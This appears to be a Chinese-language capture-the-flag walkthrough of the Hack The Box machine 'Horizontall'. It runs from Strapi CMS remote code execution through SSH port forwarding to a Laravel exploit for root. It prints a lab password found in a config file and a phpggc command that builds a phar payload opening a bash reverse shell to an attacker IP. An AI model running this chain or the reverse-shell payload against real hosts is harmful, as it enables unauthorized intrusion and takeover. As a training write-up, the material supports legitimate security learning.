Horizontall
nmap扫描,开放22、80,80对应站点http://horizontall.htb

访问80

dirsearch扫描,也没有东西

看wp之后发现在response的js文件里,有一个新的域名,虽然我仍然没找到

修改hosts文件之后访问http://api-prod.horizontall.htb/

找到一个admin路径,访问之后跳转到认证页面,使用了strapiCMS

熟悉的套路就是Google exp,然后就找到了RCE

使用脚本,成功RCE,但是是无回显

直接反弹shell


检查/etc/passwd,看到developer用户

strapi用户可以直接读取developer用户家目录下的user.txt
检查本地,存在MySQL

尝试寻找MySQL数据库登录方式,在/opt/strapi/myapi/config/environments/development下的database.json中找到一堆账号密码developer/#J!:F9Zt2u

但是该密码无法登录developer的ssh,还是从数据库入手。最终在数据库中找到strapi的管理员密码的密文值。

上john爆破也没爆出来

回顾前面的内容,发现本地还开放了1337和8000。探测这两个端口的服务,发现8000开放Lavarel。

写ssh公钥,用于之后的端口转发
本地ssh-keygen生成id_rsa.pub,然后将id_rsa.pub的内容写入strapi家目录下的.ssh/authorized_keys中
本地设置ssh端口转发,将10.10.11.105主机上127.0.0.1:8000转发到本地的8000端口

当再去访问本地的8000时,就访问到了10.10.11.105的8000端口上的Laravel服务,版本为v8

Laravel存在CVE,之前的某道题中用到过,所以直接找exp进行利用了
https://github.com/ambionics/laravel-exploits
直接拿到root权限

反弹shell
php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system "/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/1234 0>&1'"

本文讲述了通过nmap扫描发现开放的22、80端口,80端口对应Horizontall站点。进一步利用dirsearch、JS文件中的域名、Strapi CMS及Googleexp找到RCE入口。尽管无回显,但通过SSH公钥写入与端口转发,访问到Laravel服务并利用CVE-20XX获得root权限,最终反弹shell。
3091

被折叠的 条评论
为什么被折叠?



